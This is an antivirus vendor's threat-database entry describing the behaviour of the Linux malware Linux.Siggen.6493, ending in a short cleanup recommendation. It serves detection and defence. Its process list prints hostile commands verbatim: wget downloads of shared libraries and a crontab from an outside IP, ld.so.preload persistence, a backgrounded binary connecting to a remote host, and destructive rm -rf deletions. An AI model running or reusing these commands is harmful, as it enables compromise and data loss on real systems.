La mia libreria
La mia libreria

+ Aggiungi alla libreria

Supporto
Supporto 24/7 | Regole per contattare

Richieste

Profile

Linux.Siggen.6493

Aggiunto al database dei virus Dr.Web: 2024-01-26

La descrizione è stata aggiunta:

Technical Information

Malicious functions:
Removes itself
Launches itself as a daemon
Launches processes:
  • rm -rf /var/spool/cron/crontabs/* > /dev/null 2>&1
  • /usr/lib/apt/methods/http
  • rm -rf /usr/local/lib/*.so > /dev/null 2>&1
  • cd /var/tmp; nohup ./tmp -o ns1.disponibletogether.com:443 >/dev/null 2>&1 &
  • sh -c \x27cd /var/tmp; nohup ./tmp -o ns1.disponibletogether.com:443 >/dev/null 2>&1 &\x27
  • rm -rf /etc/cron/* > /dev/null 2>&1
  • rm -rf /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e /tmp/tmux-0
  • rm -rf /etc/crontab
  • /usr/bin/dpkg --print-foreign-architectures
  • rm -rf /var/tmp/* > /dev/null 2>&1
  • mkdir /var/tmp > /dev/null 2>&1
  • rm -rf /var/tmp/*. > /dev/null 2>&1
  • wget -nc http://185.196.9.190/srv/crontab -q -P /etc/crontab 2>&1
  • rm -rf /tmp/* > /dev/null 2>&1
  • pkill -9 tmp > /dev/null 2>&1
  • rm -rf /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh
  • chmod 777 /var/tmp/tmp
  • chmod 777 /var/tmp/tmp > /dev/null 2>&1
  • /usr/bin/pgrep pkill -9 tmp
  • wget -nc -q -P /usr/local/lib http://185.196.9.190/srv/initrc.so
  • rm -rf /usr/local/lib/*.so
  • rm -rf /var/spool/cron/crontabs/*
  • chmod 644 /etc/crontab > /dev/null 2>&1
  • apt update -y > /dev/null 2>&1; apt install cron -y > /dev/null 2>&1
  • touch /etc/ld.so.preload
  • rm -rf /var/tmp/tmp
  • rm -rf /etc/ld.so.preload
  • wget -nc -q -P /usr/local/lib http://185.196.9.190/srv/pthread.so
  • rm -rf /etc/cron/*
  • wget -nc http://185.196.9.190/srv/crontab -q -P /etc/crontab
  • apt update -y
  • rm -rf /var/tmp/*.
  • rm -rf /var/tmp/tmp > /dev/null 2>&1
  • touch /etc/ld.so.preload > /dev/null 2>&1
  • chmod 644 /etc/crontab
  • mkdir /var/tmp
  • rm -rf /etc/ld.so.preload > /dev/null 2>&1
Kills the following processes:
  • kdevtmpfs
  • http
Performs operations with the file system:
Modifies file access rights:
  • /var/tmp/tmp
  • /etc/crontab
  • /var/lib/apt/lists/partial
  • /var/lib/apt/lists/auxfiles
Modifies file owner:
  • /var/lib/apt/lists/partial
  • /var/lib/apt/lists/auxfiles
Creates folders:
  • /etc/crontab
Deletes folders:
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i/tmp
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-truN7i
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh/tmp
  • /var/tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-cRu1Gh
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f/tmp
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-logind.service-d16u7f
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e/tmp
  • /tmp/systemd-private-9a696143c12e4a2d879683f675cf06b2-systemd-timesyncd.service-j0IM1e
  • /tmp/tmux-0
Creates or modifies files:
  • /etc/ld.so.preload
  • /usr/local/lib/initrc.so
  • /usr/local/lib/pthread.so
  • /var/tmp/tmp
  • /etc/crontab/crontab
  • /tmp/#130830 (deleted)
  • /var/lib/apt/lists/lock
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.mNnuKu
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.h8xfJq
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.JORPEt
Deletes files:
  • /var/tmp/tmp
  • /etc/crontab
  • /tmp/tmux-0/default
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.mNnuKu
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.h8xfJq
  • /var/lib/apt/lists/partial/.apt-acquire-privs-test.JORPEt
  • /var/cache/apt/pkgcache.bin
  • /var/cache/apt/srcpkgcache.bin
Changes time of creation/access/modification of files:
  • /etc/ld.so.preload
  • /usr/local/lib/initrc.so
  • /usr/local/lib/pthread.so
  • /etc/crontab/crontab
Network activity:
Establishes connection:
  • 18#.##6.9.190:80
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • _h###.##cp.deb.debian.org
  • _h###.###p.security.debian.org
  • de#.#ebian.org
  • se####ty.debian.org
Sends data to the following servers:
  • 18#.##6.9.190:80
Receives data from the following servers:
  • 18#.##6.9.190:80
Other:
Collects OS information
Collects CPU information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number